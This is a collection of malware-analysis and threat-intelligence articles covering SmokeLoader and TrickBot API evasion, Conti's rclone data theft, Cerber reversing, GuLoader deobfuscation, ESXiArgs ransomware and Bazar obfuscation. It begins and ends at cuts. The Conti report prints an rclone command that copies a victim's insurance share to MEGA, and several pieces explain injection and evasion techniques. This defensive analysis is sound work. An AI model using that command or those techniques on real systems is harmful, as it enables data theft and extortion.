ntdll.dll within the same process is not officially supported, various bypass techniques are used. - **Malware Sample:** SmokeLoader (MD5: 393f3d59f3a481446cadecd492a909c9) If ntdll.dll in the system path is loaded using LoadLibrary() API, the existing handle for ntdll.dll is restored without going through the remapping process. This is because the ntdll.dll is already loaded in the current process. Meaning, the result will be restored to the loaded address instead of reloading as the path and the name are identical. However, if the ntdll.dll is loaded after being copied in a different path, it may be mapped to another memory area. SmokeLoader malware copies the ntdll.dll to Temp path and reloads the ntdll file through the LdrLoadDll(). Afterward, it uses the APIs of the newly loaded ntdll.dll. ### 3. Direct System Call - **Malware Sample:** Trick bot (MD5: 104b457b6d90fc80ff2dbbcebbb7ca8b) For the key APIs related to the injection, Trick bot directly organizes and calls the system call without going through APIs such as ntdll. The number of system calls varies depending on the Windows version. That is why the malware needs to go through the process of saving the number of a target system call. Trick bot brings the whole path of ntdll after referring to the LDR__Module structure when calling the system call. It brings the path of the ntdll.dll (system32 folder in x86 environment, and syswow64 folder in x64 environment) and loads the ntdll.dll to the memory allocated with VirtualAlloc() via ReadFile(). The rest of the process is similar to that of Manually Loaded DLL. The following are the list of APIs and key parameters used in this technique.
# Hunting for Corporate Insurance Policies: Indicators of Ransom Exfiltration **By Vitali Kremez & Yelisey Boguslavskiy** **August 16, 2021** **2 min read** This report is based on our actual proactive victim breach intelligence and subsequent incident response identified via unique high-value collections at AdvIntel. Ever wondered how the ransomware adversaries exfiltrate and track corporate breach victim insurance policies and documents before extorting and deciding how much to blackmail them for? Exfiltrating corporate insurance policies in shares for name-and-shame and negotiations using rclone. **Adversary Tactics Chain Flow:** 1. Conti infiltrates the victim’s network and obtains admin domain access. 2. Cobalt Strike beacon session initiated; network mapped and scanned and elevated. 3. Initial investigation of critical finance/insurance-related information. 4. The "rclone" binary with the custom "Mega" file-sharing site config are uploaded to the domain controller. 5. Network shares with information related to finance and insurance cloned to the determined location. 6. Data copy is created and can be securely accessed by Conti. 7. Conti locks the network and encrypts the files and locks out the network via the "serverlock.bat" script. ## What is rclone? Rclone is a program that enables the transfer of content on the cloud and other storage. With Rclone, data can be synchronized with a configuration on an external source such as a cloud source, creating an external copy of the information from a specific environment. Conti ransomware weaponizes this program in order to perform data exfiltration operations. ## Operational Insights: Conti’s Perspective on Data Exfiltration AdvIntel observed active breath tactics that match precisely the disgruntled Conti ransomware "pentester" playbook detailing their process. In the investigated case, AdvIntel utilized our unique visibility into Conti’s operations to identify critical points in their methodology. According to the actors themselves, the first step in network investigation and data exfiltration is to identify the critical files within the network and identify/map the network shares with these files. The redacted logs show the command "Invoke_ShareFinder" execution preceding the "rclone" operations. Conti openly prioritized network shares with documentation related to: - Finance - Accounting - Insurance - Information Technology Then the Rclone weaponization begins. Rclone config is created and an external location (MEGA in this case) for data synchronization (data cloning) is established. The needed network shares are assigned within the rclone.conf on the victim’s network and a command is executed. An example of a redacted rclone execution is listed below: ``` rclone.exe copy "\\VICTIM_DOMAIN\Insurance" MEGA:<Insurance_Folder> -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M ``` “Insurance” is the name of the network shares with specific information that Conti targets specifically. The AdvIntel proactive visibility into Conti revealed the insurance focus of the group targeting major food and restaurant chains in the United States. ## Indicators of Exfiltration: Mitigation Audit and/or block command-line interpreters by using whitelisting tools, like AppLocker or Software Restriction Policies, focusing on any suspicious “rclone.exe” command in C:\ProgramData and C:\Temp directory. Look for detection for "Invoke-ShareFinder" execution preceding the execution of rclone: ``` Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii ``` ## Detection Methods Command-line interface activities can be captured through proper logging of process execution with command-line arguments. **Reference** Tactic: T1059 Command and Scripting Interpreter Our proprietary platform, Andariel, provides a mirrored view of criminal and botnet activity, which supplies our users with predictive insight that is used to prevent intrusions from maturing into large-scale threat events such as ransomware attacks.
# Reversing Cerber - RaaS James Haughom Cerber has established itself as one of the most successful ransomware families to date. Distributed as RaaS (Ransomware as a Service), the malware has retained popularity with over 6 known variants. The malware is packed with Nullsoft PiMP (plugin Mini Packager) which hides much of the malware's true functionality. As a whole, the malware's entropy is quite high (6.1), indicating packed code. The malware contains an anomalous PE section ".ndata" which has a virtual size much higher than its physical/raw size. This indicates that there is a good chunk of code that won't present itself until runtime, once the malware is loaded in memory. Pestudio marks the .text/.code section as highly entropic (6.4), this is where the actual code/instructions are stored in a PE. I conducted this analysis in a host-only virtual network with a Windows 10 VM routing its network traffic to a REMnux VM running fakedns, iNetSim, and Wireshark. The malware happily runs in the VM with security tools running, dropping several files to disk. The number of bytes written to the file 'collages.dll' is the same as the virtual size of the '.ndata' section. The malware then makes a few modifications to the registry. A couple of these modifications have to do with what the user is presented with (Wallpaper), the rest have to do with network activity. This malware (interestingly enough) does not establish persistence, just encrypts and exits. The malware spawns an instance of itself, which then opens the ransom note '_HELP_DECRYPT_N0BR8ST0_.hta'. The filename for this ransom note appears to be unique to the system, format is '_HELP_DECRYPT_[A-Z0-9]{8}_.hta' <- simple regex for the 8 digit alphanumeric string. Like most ransomware, a ransom note is dropped to the desktop, the Wallpaper is changed, and encrypted files are tagged with a weird file extension '.94d4'. Another file extension found during analysis was '.bde6' - this value appears to be randomly generated. The malware contacts hundreds of hosts over port 6892. The same UDP packet is sent over and over. The first half of the string is the same as the unique string at the end of the provided URL in the ransom note. LET THE REVERSING COMMENCE!!! The process tree from behavioral analysis showed the original instance of cerber launching a new cerber, this turned out to be pretty interesting. Notice the sixth value pushed onto the stack for the CreateProcess API Call, the value 4 is passed for the dwCreationFlags argument. The 4 indicates that this process is created in a suspended state. Do I sense code injection? The malware then takes a fairly common path for the injection. Reads memory of the newly spawned cerber.exe, the parameter '2F4' is a handle to said cerber. The malware then hollows out the suspended process through the WinAPI call 'UnMapViewOfSection'. The parameter '400000' is passed as the base address as to where begin hollowing/unmapping, which is the very beginning/start of the PE. A buffer is then filled via 'RtlDecompressBuffer', which stores the contents that will be injected into the suspended process. Notice the 'MZ' header, this an executable that will be injected into the target process. The buffer is then written to the target process via 'WriteProcessMemory'. A pointer to the executable seen in the dump window is passed as the data to be written. The base address '400000', which was the start address of the hollowing, is now passed as the base address for this executable to be written to in the hollowed out process. To intercept this executable, I followed the base address in the memory map and then dumped it. When attempting to load it into IDA, it is not recognized as a valid PE. Looking at the file in HxD, there are around 32 bytes of noise before the magic bytes of the executable. Deleting up until the 'MZ'/'4D5A' fixes the problem. This looks to be where the true payload/ransomware code lies, this is the first time we have seen crypt-related APIs. So essentially, the malware uses code injection as a way to unpack itself. Now that the code has been injected/written, the malware must start a thread of execution to invoke the code. The context of the thread is set via 'SetThreadContext'. And finally, the thread is resumed and the code begins executing in the target process. Just before taking the instruction to allow 'ResumeThread' to execute, I spawned a new instance of x64dbg and attached to the still suspended cerber.exe. I then set breakpoints on thread entry and thread start to halt execution once 'ResumeThread' is called. Next, I set break points on all crypt-related APIs, as well as GetProcAddress, so that I can identify any additional code that may be dynamically loaded. The first function to be dynamically resolved via 'GetProcAddress' is 'CryptEncrypt'. The next interesting code block was the usage of the API 'CryptStringToBinary'. This API converts a string to an array of bytes. The data to be converted is a very long base64 string. Decoded, the string looks to be a hard-coded Public Key. The Public Key Info suggests that this is 'RSA 1.2.840.113549.1.1 - PKCS-1' encryption. Next, the malware creates a directory in the AppData folder where it stores some housekeeping data. Then a mutex is created. The name of the mutex is resolved dynamically ---- 'shell.{FB79CB8E-F0B4-4B09-A183-601B6025EC35}' and is created just before network activity occurs ('WSAStartup'). A UDP socket is created and will be used to blast that single string to hundreds of IPs. 'sendto' function is included in a loop to contact the external hosts. Next, the encryption commences. Traversing directories via 'FindFirstFile' and 'FindNextFile'. The malware also looks for network resources to encrypt via 'WNetOpenEnum'. Once encryption completes, the ransom note is opened via 'ShellExecute' with parameters 'Open' and '_HELP_DECRYPT_N0BR8ST0_.hta'. This ransom note is far more robust than most. Most ransom notes are a simple text file, this is an .hta that has several functions, and is apparently quite universally accommodating. The ransom note even has a button to change the language. Another interesting code segment is that the .hta file checks the victim's MAC address against a few MAC addresses associated with VMware and some popular network technology companies. If there is a match, the URL in the ransom note is updated to English. Interesting! The most interesting part of this malware to me was how it unpacked itself through code injection and process hollowing. This malware just performs the encryption and then exits, no persistence! Most filenames are randomized to evade signature based detection, so regex will be our friends when sweeping for/detecting these artifacts. A Snort rule may be plausible due to the port (6892), but UDP can be noisy. The rule would use PCRE to match the unique long string passed over 6892. ## Key Takeaways: - Encrypts files on disk and in network shares - Modifies registry - Drops files on disk - Performs code injection - Contacts external hosts ## Host-based IOCs: - cerber.exe - 2d6ace7910f84eb775272a6590453a0e - md5 - \AppData\Local\Temp\collages.dll - 2A4BF3D01B6C84A2130C110D02C772AC - md5 - \AppData\Local\Temp\floppy_disk.png - \AppData\Local\Temp\floppy_disk_disabled.png - \AppData\Local\Temp\flat.xsl - \AppData\Local\Temp\tmpCBD8.bmp - \AppData\Local\Temp\0ad3e319\4f11.tmp - \AppData\Local\Temp\0ad3e319\280c.tmp - \AppData\Local\Temp\nshBD76.tmp\System.dll - 3E6BF00B3AC976122F982AE2AADB1C51 - md5 - \Desktop\_HELP_DECRYPT_N0BR8ST0_.hta - Ransom note - \Desktop\_HELP_DECRYPT_N0BR8ST0_.jpg - Wallpaper - *.94d4 - file extension tagged onto encrypted files (randomly generated) - *.bde6 - file extension tagged onto encrypted files (randomly generated) - *.[a-z0-9]{4} - regex for file extension - shell.{FB79CB8E-F0B4-4B09-A183-601B6025EC35} - Mutex - \Sessions\1\BaseNamedObjects\SM0:6064:168:WilStaging_02 - Based named object - HKEY_CURRENT_USER\Control Panel\Desktop\WallPaper - REG_SZ - C:\Users\REM\AppData\Local\Temp\tmpCBD8.bmp ## Hard-coded Public Key: ``` -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvkty5qhqEydR9076Fevp 0uMP7IZNms1AA7GPQUThMWbYiEYIhBKcT0/nwYrBq0Ogv79K1tta04EHTrXgcAp/ OJgBhz9N58aewd4yZBm2coeaDGvcGRAc9e72ObFQ/TME/Io7LZ5qXDWzDafI8LA8 JQmSz0L+/G+LPTWg7kPOpJT7WSkRb9T8w5QgZRJuvvhErHM83kO3ELTH+SoEI53p 4ENVwfNNEpOpnpOOSKQobtIw56CsQFrhac0sQlOjek/muVluxjiEmc0fszk2WLSn qryiMyzaI5DWBDjYKXA1tp2h/ygbkYdFYRbAEqwtLxT2wMfWPQI5OkhTa9tZqD0H nQIDAQAB -----END PUBLIC KEY----- ``` ## Network-based IOCs: - 97.15.12.xxx:6892 - UDP - 91.239.24.xxx:6892 - UDP - xxx.12.15.97:6892 - UDP - xxx.24.239.91:6892 - UDP
# Deobfuscating the Latest GuLoader: Automating Analysis with Ghidra Scripting In this article by ANY.RUN analysts, we’ll discuss the GuLoader malware and how to deobfuscate its code using the Ghidra scripting engine. We will: - Identify obfuscated code patterns - Develop an algorithm to deobfuscate and optimize these code patterns - Write a script to semi-automate the code deobfuscation process. We also detailed the obfuscation techniques for junior analysts. Mid-level and senior analysts will find strategies and tools for simplifying and deobfuscating GuLoader and other malware. Without further ado, let’s get into the analysis. ## Brief Overview of GuLoader GuLoader is a widely used malware loader known for its complex obfuscation techniques that make it difficult to analyze and detect. Here’s some general information about this threat: We are going to examine a GuLoader sample with the first submission time 2023-03-28 and SHA256 hash: `653519cb7879ba9389474ab6fb92ae69475ea3166167e3b9b1e4405e14506f5d`. ### Clearing the way: Why Deobfuscating Code is Crucial Before Analysis? Deobfuscating code is an essential step in the process of malware analysis. When malware authors create their programs, they often use various obfuscation techniques to make it more difficult to understand and analyze their code. By deobfuscating the code, analysts can gain a better understanding of the malware’s functionality, identify its capabilities, and develop effective mitigation strategies. Consider this picture where GuLoader’s sophisticated assembly code is decompiled into ugly pseudo-code. Obfuscation used in the code makes it almost impossible to understand what’s going on. That’s why today we will focus on deobfuscation — it will help us gain a better understanding of GuLoader’s behavior. ### Unpacking GuLoader’s Shellcode Unpacking GuLoader’s shellcode is rather straightforward. Start by reaching the entry point of the malware. Once identified, set a breakpoint at the VirtualAllocEx function. This function is used to allocate memory for the GuLoader’s shellcode. The first breakpoint should occur when the function finishes executing and the memory has been allocated. Note that the return address in the stack is the ‘System.dll’ module — not the executable itself. This means that the malware brings this module with itself. At this point, set a hardware execution breakpoint at the first byte of the memory address returned in the EAX register. This will create a break at the first instruction of the shellcode. After setting this breakpoint, run the malware. When the breakpoint is hit, you will be at the first instruction of the shellcode. To further analyze the shellcode, navigate to the memory map and create a dump of the memory region allocated by “VirtualAllocEx”. This dump can be loaded into a disassembler, allowing you to analyze the shellcode in more detail. It is worth noting that we used Windows 7 (x32) as our unpacking environment. Keep in mind that the algorithm will be slightly different for the other OS versions. If you don’t have time or a suitable environment to unpack GuLoader shellcode by yourself, you can download an archive with an already unpacked sample from our GitHub repository (password: infected). ### Identifying Obfuscated and Junk Code Patterns In this section, we will search for junk and obfuscated code in GuLoader’s shellcode to use them as templates for deobfuscating and optimization techniques. #### XMM Instructions There are many XMM instructions present in the code. They look chaotic and complicate the analysis process. We encountered them from the first byte of the unpacked shellcode. These instructions are quite effective at obfuscating the code, as they can break many emulation engines. That’s because most of them are not supported by default. We have tested Angr, Triton, as well as Ghidra embedded engines – all of them failed. #### Unconditional JMP Instructions GuLoader authors used lots of JMP instructions to divide the code into small blocks and connect them together. Not only does this technique make the code more difficult to analyze, but it also prevents detection by antivirus software and other security tools. What’s more, jumping between these blocks can be quite tedious and annoying for analysts, especially when dealing with a large amount of code. #### Junk Instructions The GuLoader code contains junk assembly instructions, which are often incorporated as an extra layer of obfuscation to complicate its analysis. These instructions have no practical function, generally leaving the value of registers, execution flow, or memory unchanged. Their purpose is to hinder analysis and obscure the genuine functionality of the code. We may highlight instructions that perform no operation (“NOP”, “FNOP”), and instructions that shift or rotate a value by zero bits (“SHL reg, 0”; “ROL reg, 0”). Also, the code may contain instructions like “OR reg, 0”, “XOR reg, 0”, “CLD”, “WAIT” and others, which are equally useless, making no impact on the code’s behavior. #### Fake Comparison Instructions GuLoader code frequently utilizes fake comparison instructions for obfuscation. These instructions usually involve comparing a register or memory location with a fixed value, like “CMP EAX, 0” or “TEST EDX, EDX”. Yet, the outcome of these comparisons isn’t applied in following instructions, rendering the comparison pointless. #### Fake PUSHAD Instructions The use of fake “PUSHAD” instructions, when paired with a corresponding “POPAD” instruction, is another common obfuscation technique used in the GuLoader code. These instructions can be used to temporarily modify the values of registers between the “PUSHAD“ and “POPAD” instructions. However, the final “POPAD” instruction restores all registers to their original values, effectively nullifying any modifications made by the code. #### Fake PUSH Instructions The use of fake “PUSH” instructions is yet another obfuscation method that is rather similar to the previous one. These pairs of instructions involve pushing a value onto the stack and then immediately popping it off again. For example, the code may include a “PUSH SS” instruction, followed by one or more instructions that modify the value of a particular register or memory location. However, when the corresponding “POP SS” instruction is executed, the content of the stack pointer is restored to its original value. #### Opaque Predicates GuLoader code also incorporates opaque predicates to increase the difficulty in comprehending the code’s logic. These predicates are essentially conditional statements that consistently evaluate to either true or false. However, they are designed to be challenging to analyze or predict. For example, the code may include a pair of instructions such as “MOV BL, 0xB6” and “CMP BL, 0xB6”, followed by a conditional jump instruction such as “JNZ ADDR”. However, since the value being compared is the same as the value that was just moved into the register, the comparison will always evaluate to false, making the conditional jump unnecessary and confusing. #### Arithmetic Expressions Obfuscated arithmetic expressions are one of the most interesting obfuscation methods used in GuLoader to make the actual arithmetic operations harder to understand. These expressions involve arithmetic instructions like addition, subtraction, and exclusive or, which are mixed with other obfuscation techniques such as fake comparisons, opaque predicates, and junk instructions. One example of arithmetic obfuscation in GuLoader code is to move a constant value into a register and perform arithmetic operations on it. Another example is to push a constant value onto the stack and perform mathematical operations on the memory located on the stack. ### Deobfuscating and Optimizing: Techniques and Strategies In the previous sections, we’ve identified and discussed various obfuscation techniques often found in GuLoader, including: - Opaque predicates - Obfuscated arithmetic expressions - Junk instructions. Now, let’s focus on developing techniques and strategies to overcome these obfuscation methods and make the code easier to analyze. What’s more, we will show the state of the code before and after deobfuscation. You’ll see how using various deobfuscation techniques can render the code more readable and simplified for analysis. #### “Nopping” All XMM Instructions As previously noted, XMM instructions can complicate the analysis process due to their obfuscating impact on the code. Fortunately, our analysis shows that all of the XMM instructions used in GuLoader are extraneous and don’t influence the code’s intended behavior. These instructions are essentially pointless, as the outcome of their execution is never utilized. #### Leaving Unconditional JMP Instructions Untouched When analyzing GuLoader, it can be tempting to remove unconditional JMP instructions to streamline the code and make it easier to read. But, it requires a lot of time and effort. Additionally, the disassembler in decompiled code can often do a good job of concatenating blocks and making the code more legible, even with the presence of these unconditional jumps. Thus we decided to leave small blocks and not concatenate them. #### “Nopping” Junk Instructions Junk instructions are those that do not affect the execution flow of the code and can be safely removed. One of the expected results of “nopping” all junk instructions is represented in the following table. #### Defeating Fake Comparison Instructions Dealing with fake comparison instructions can be a bit more difficult than simply “nopping” junk instructions. Unlike junk instructions, we can’t just remove any comparison instruction we come across, because it may actually be needed for the code to function correctly. To handle this, we need to carefully identify which comparisons are fake and can be removed. One way to do this is to “mark” any comparison instruction we encounter, and then look for any subsequent instructions that may use the result of the comparison. If no such instructions are found, we can safely replace the comparison instruction with a NOP. If we encounter a conditional jump or another instruction that may use the comparison result, we need to “unmark” the previous comparison so that it is not removed. #### Defeating Fake PUSHAD Instructions Our investigation revealed that all “PUSHAD” instructions used in the GuLoader code are useless. So, we simply nop the “PUSHAD” and “POPAD” instructions, and everything in between them. Note that not all “POPAD” instructions found in the GuLoader code are junk. Some of them may not have a corresponding “PUSHAD” instruction. In such cases, we leave the “POPAD” instruction untouched. #### Defeating Fake PUSH Instructions Cleaning up fake PUSH instructions is akin to handling fake PUSHAD instructions, but we need to make sure that the registers that are not pushed remain unaffected. #### Opaque Predicates Overcoming opaque predicates might appear challenging initially, as it requires “predicting” the jump condition. However, in our case, it’s relatively straightforward because all discovered opaque predicates are situated within the “PUSHAD” and “POPAD” blocks. When processing “PUSHAD” blocks, we simply nullify all opaque predicates between the “PUSHAD” and the corresponding “POPAD” instruction. #### Calculating Arithmetic Expressions To deobfuscate the arithmetic expressions in GuLoader, we follow a similar approach to the fake comparison instructions. We mark all “MOV” instructions where the second argument is a scalar value and all “PUSH” instructions where the argument is a scalar too. When we encounter an arithmetic operation, we update the constant value in the first instruction and nop the current instruction. In this way, the first met instruction will always have the result value, and the rest of the arithmetic instructions will be “nopped”. ### Automating Malware Analysis with a Ghidra Script In the earlier sections, we identified typical obfuscation techniques in GuLoader’s code and discussed various strategies to overcome them. In this section, we provide a brief description of a script designed to semi-automate the deobfuscation process for GuLoader’s code. We’ve developed a script that initiates from the chosen instruction, tracks calls and conditional jumps, simplifies, deobfuscates, and disassembles the resulting code. The script avoids jumping over calls with a specific operand value because not all calls result in returns. This script employs all the approaches we’ve discussed in previous chapters. You can download this script from our GitHub repository and put it in Ghidra’s script folder. We recommend setting a hotkey for quick access. Simply place the cursor over an interesting position (you could start from the 0x0 offset) and press the hotkey to see the deobfuscated code. Finally, let’s take a look at the pseudo-code of GuLoader before and after using the deobfuscation script and compare them. Here is another example of GuLoader’s code before and after applying our deobfuscation script. As you can see, the code is now significantly more readable. The obfuscated instructions have been eliminated, making the code flow easy to trace. This greatly simplifies the task for malware analysts trying to understand the malware’s behavior, making the whole analysis process considerably more efficient. ### Limitations of the Approach While the semi-automated deobfuscation method with Ghidra scripting is effective, there are several limitations to bear in mind. 1. It’s possible that not all obfuscated code patterns in GuLoader have been identified, and new techniques may emerge in future versions of the malware. 2. There is a chance of optimization errors, where some instructions might be wrongly identified as junk or obfuscated code, and are nulled or removed. 3. The script may need adjustments or updates to handle different versions of GuLoader, as there might be changes in the obfuscation techniques used. 4. The script might not be able to identify all calls and jump destinations, particularly if they’re dynamically generated or encoded. 5. Writing and testing the script can demand a significant amount of time and effort, as it necessitates a thorough understanding of GuLoader’s code structure and obfuscation techniques. Despite these limitations, this approach remains a helpful tool for automating GuLoader code analysis and deobfuscation. ### Wrapping Up We’ve explored one potential approach to deobfuscating GuLoader, which entails identifying common obfuscation patterns and neutralizing them using various techniques. It’s important to note that while this approach was specifically tailored for deobfuscating GuLoader, the same general techniques could be applied to other malware samples as well. However, bear in mind that each malware sample might have unique obfuscation techniques, necessitating the development of specific optimization strategies.
# Massive ESXiArgs Ransomware Attack Targets VMware ESXi Servers Worldwide By Sergiu Gatlan February 3, 2023 Admins, hosting providers, and the French Computer Emergency Response Team (CERT-FR) warn that attackers actively target VMware ESXi servers unpatched against a two-year-old remote code execution vulnerability to deploy a new ESXiArgs ransomware. Tracked as CVE-2021-21974, the security flaw is caused by a heap overflow issue in the OpenSLP service that can be exploited by unauthenticated threat actors in low-complexity attacks. "As current investigations, these attack campaigns appear to be exploiting the vulnerability CVE-2021-21974, for which a patch has been available since 23 February 2021," CERT-FR said. "The systems currently targeted would be ESXi hypervisors in version 6.x and prior to 6.7." To block incoming attacks, admins have to disable the vulnerable Service Location Protocol (SLP) service on ESXi hypervisors that haven't yet been updated. CERT-FR strongly recommends applying the patch as soon as possible but adds that systems left unpatched should also be scanned to look for signs of compromise. CVE-2021-21974 affects the following systems: - ESXi versions 7.x prior to ESXi70U1c-17325551 - ESXi versions 6.7.x prior to ESXi670-202102401-SG - ESXi versions 6.5.x prior to ESXi650-202102101-SG French cloud provider OVHcloud first published a report linking this massive wave of attacks targeting VMware ESXi servers with the Nevada ransomware operation. "According to experts from the ecosystem as well as authorities, they might be related to Nevada ransomware and are using CVE-2021-21974 as a compromission vector. Investigations are still ongoing to confirm those assumptions," OVHcloud CISO Julien Levrard said. "The attack is primarily targeting ESXi servers in version before 7.0 U3i, apparently through the OpenSLP port (427)." However, the company backtracked soon after our story was released, saying they attributed it to the wrong ransomware operation. At the end of the first day of attacks, approximately 120 ESXi servers were encrypted. However, the numbers quickly grew over the weekend, with 2,400 VMware ESXi devices worldwide currently detected as compromised in the ransomware campaign, according to a Censys search. In an advisory published on February 6th, VMware confirmed that this attack exploits older ESXi flaws and not a zero-day vulnerability. The company advises admins to install the latest updates for ESXi servers and disable the OpenSLP service, which has been disabled by default since 2021. Some admins breached in this attack said they did not have SLP enabled, adding further confusion as to how servers were breached. Overall, the ransomware campaign has not seen much success considering the large number of encrypted devices, with the Ransomwhere ransom payment tracking service reporting only four ransom payments for a total of $88,000. The lack of ransom payments is likely due to a VMware ESXi recovery guide created by security researcher Enes Sonmez, allowing many admins to rebuild their virtual machines and recover their data for free. ## New ESXiArgs Ransomware However, from the ransom notes seen in this attack, they do not appear to be related to the Nevada Ransomware and appear to be from a new ransomware family. Starting roughly four hours ago, victims impacted by this campaign have also begun reporting the attacks on BleepingComputer's forum, asking for help and more information on how to recover their data. The ransomware encrypts files with the .vmxf, .vmx, .vmdk, .vmsd, and .nvram extensions on compromised ESXi servers and creates a .args file for each encrypted document with metadata (likely needed for decryption). While the threat actors behind this attack claim to have stolen data, one victim reported in the BleepingComputer forums that it was not the case in their incident. "Our investigation has determined that data has not been infiltrated. In our case, the attacked machine had over 500 GB of data but typical daily usage of only 2 Mbps. We reviewed traffic stats for the last 90 days and found no evidence of outbound data transfer," the admin said. Victims have also found ransom notes named "ransom.html" and "How to Restore Your Files.html" on locked systems. Others said that their notes are plaintext files. ID Ransomware's Michael Gillespie is currently tracking the ransomware under the name 'ESXiArgs,' but told BleepingComputer that until we can find a sample, there is no way to determine if it has any weaknesses in the encryption. BleepingComputer has a dedicated ESXiArgs support topic where people are reporting their experiences with this attack and receiving help recovering machines. ## ESXiArgs Technical Details Last night, an admin retrieved a copy of the ESXiArgs encryptor and associated shell script and shared it in the BleepingComputer support topic. Analyzing the script and the encryptor has allowed us to understand better how these attacks were conducted. When the server is breached, the following files are stored in the /tmp folder: - **encrypt** - The encryptor ELF executable. - **encrypt.sh** - A shell script that acts as the logic for the attack, performing various tasks before executing the encryptor. - **public.pem** - A public RSA key used to encrypt the key that encrypts a file. - **motd** - The ransom note in text form that will be copied to /etc/motd so it is shown on login. The server's original file will be copied to /etc/motd1. - **index.html** - The ransom note in HTML form that will replace VMware ESXi's home page. The server's original file will be copied to index1.html in the same folder. ID Ransomware's Michael Gillespie analyzed the encryptor and told BleepingComputer the encryption is, unfortunately, secure, meaning no cryptography bugs allow decryption. "The public.pem it expects is a public RSA key (my guess is RSA-2048 based on looking at encrypted files, but the code technically accepts any valid PEM)," Gillespie posted in the forum support topic. "For the file to encrypt, it generates 32 bytes using OpenSSL's secure CPRNG RAND_pseudo_bytes, and this key is then used to encrypt the file using Sosemanuk, a secure stream cipher. The file key is encrypted with RSA (OpenSSL's RSA_public_encrypt), and appended to the end of the file." The use of the Sosemanuk algorithm is rather unique and is usually only used in ransomware derived from the Babuk (ESXi variant) source code. This may perhaps be the case, but they modified it to use RSA instead of Babuk's Curve25519 implementation. This analysis indicates that ESXiArgs is likely based on leaked Babuk source code, which has been previously used by other ESXi ransomware campaigns, such as CheersCrypt and the Quantum/Dagon group's PrideLocker encryptor. While the ransom note for ESXiArgs and Cheerscrypt are very similar, the encryption method is different, making it unclear if this is a new variant or just a shared Babuk codebase. Furthermore, this does not appear to be related to the Nevada ransomware, as previously mentioned by OVHcloud. The encryptor is executed by a shell script file that launches it with various command line arguments, including the public RSA key file, the file to encrypt, the chunks of data that will not be encrypted, the size of an encryption block, and the file size. **Usage:** `encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]` - **enc_step** - number of MB to skip while encryption - **enc_size** - number of MB in encryption block - **file_size** - file size in bytes (for sparse files) This encryptor is launched using the encrypt.sh shell script that acts as the logic behind the attack. When launched, the script will execute the following command to modify the ESXi virtual machine's configuration files (.vmx) so that the strings '.vmdk' and '.vswp' are changed to '1.vmdk' and '1.vswp'. The script then terminates all running virtual machines by force-terminating (kill -9) all processes containing the string 'vmx' in a similar way to this VMware support article. The script will then use the `esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F' ' '{print $2}'` command to get a list of ESXi volumes. The script will search these volumes for files matching the following extensions: - .vmdk - .vmx - .vmxf - .vmsd - .vmsn - .vswp - .vmss - .nvram - .vmem For each found file, the script will create a `[file_name].args` file in the same folder, which contains the computed size step, '1', and the size of the file. For example, `server.vmx` will have an associated `server.vmx.args` file. The script will then use the `encrypt` executable to encrypt the files based on the computed parameters. After the encryption, the script will replace the ESXi index.html file and the server's motd file with the ransom notes, as described above. Finally, the script performs some cleanup by deleting logs, removing a Python backdoor installed at `/store/packages/vmtools.py`, and deleting various lines from the following files: - /var/spool/cron/crontabs/root - /bin/hostd-probe.sh - /etc/vmware/rhttpproxy/endpoints.conf - /etc/rc.local.d/local.sh The `/store/packages/vmtools.py` file is the same custom Python backdoor for VMware ESXi server discovered by Juniper in December 2022, allowing the threat actors to remotely access the device. All admins should check for the existence of this `vmtools.py` file to make sure it was removed. If found, the file should be removed immediately. Finally, the script executes the `/sbin/auto-backup.sh` to update the configuration saved in the `/bootbank/state.tgz` file and starts SSH. This is a developing story and will be updated with new info as it becomes available. **Update 2/4/23:** Added technical details about the attack. **Update 2/5/23:** Updated with new number of encrypted ESXi servers and method to recover virtual machines. **Update 2/6/23:** Added info from VMware and known ransom payments.
# TrickBot Gang Uses Template-Based Metaprogramming in Bazar Malware Malware authors use various techniques to obfuscate their code and protect against reverse engineering. Techniques such as control flow obfuscation using Obfuscator-LLVM and encryption are often observed in malware samples. This post describes a specific technique that involves what is known as metaprogramming, or more specifically template-based metaprogramming, with a particular focus on its implementation in the Bazar family of malware (BazarBackdoor/BazarLoader). Bazar is best known for its ties to the cybercrime gang that develops and uses the TrickBot Trojan. It is a major cybercrime syndicate that is highly active in the online crime arena. ## A Few Words About Metaprogramming Metaprogramming is a technique where programs are designed to analyze or generate new code at runtime. Developers typically use metaprogramming techniques to make their code more efficient, modular, and maintainable. Template-based metaprogramming incorporates templates that serve as models for code reuse. The templates can be written to handle multiple data types. For example, the basic function template shown below can be used to define multiple functions that return the maximum of two values such as two numbers or two strings. The type is generalized in the template parameter `<typename T>`, as a result, `a` and `b` will be defined based on the usage of the function. One of the “magical” attributes of templates is that the `max()` function doesn’t actually exist until it’s called and compiled. For the example below, three functions will be created at compile time. ```cpp // Sample function template template<typename T> T max (T a, T b) { // if b < a then yield a else yield b return b < a ? a : b; } // Calls to max() max(10, 5); max(5.5, 8.9); max("reverse", "engineering"); ``` Templates can be quite complex; however, this high-level understanding will suffice in grasping how the concept is used to a malware author’s advantage. ## Malware Development Malware authors take advantage of the metaprogramming technique to both obfuscate important data and ensure that certain elements, such as code patterns and encryption keys, are generated uniquely with each compilation. This hinders analysis and makes developing signatures for static detection more difficult because the encryption code changes with each compiled sample. The key components in metaprogramming used to accomplish this type of obfuscation are the templates and another feature called `constexpr` functions. In simple terms, a `constexpr` function’s return value is determined at compile time. To illustrate how this works, the following sections will compare samples compiled from the open-source library ADVobfuscator to Bazar samples found in the wild. The adoption of more advanced programming techniques within the Bazar malware family is especially relevant since the operators of Bazar are highly active in attacks against organizations across the globe. ## ADVobfuscator To get a better understanding of how template programming is utilized with respect to string obfuscation, let’s take a look at two header files from ADVobfuscator. ADVobfuscator is described as an “Obfuscation library based on C++11/14 and metaprogramming.” The `MetaRandom.h` and `MetaString.h` header files from the library are discussed below. ### MetaRandom.h The `MetaRandom.h` header file generates a pseudo-random number at compile time. The file implements the keyword `constexpr` in its template classes. The `constexpr` keyword declares that the value of a function or variable can be evaluated at compile time and, in this example, facilitates the generation of a pseudo-random integer seed based on the compilation time that is then used to generate a key. ```cpp namespace { // I use current (compile time) as a seed constexpr char time[] = __TIME__; // __TIME__ has the following format: hh:mm:ss in 24-hour time // Convert time string (hh:mm:ss) into a number constexpr int DigitToInt(char c) { return 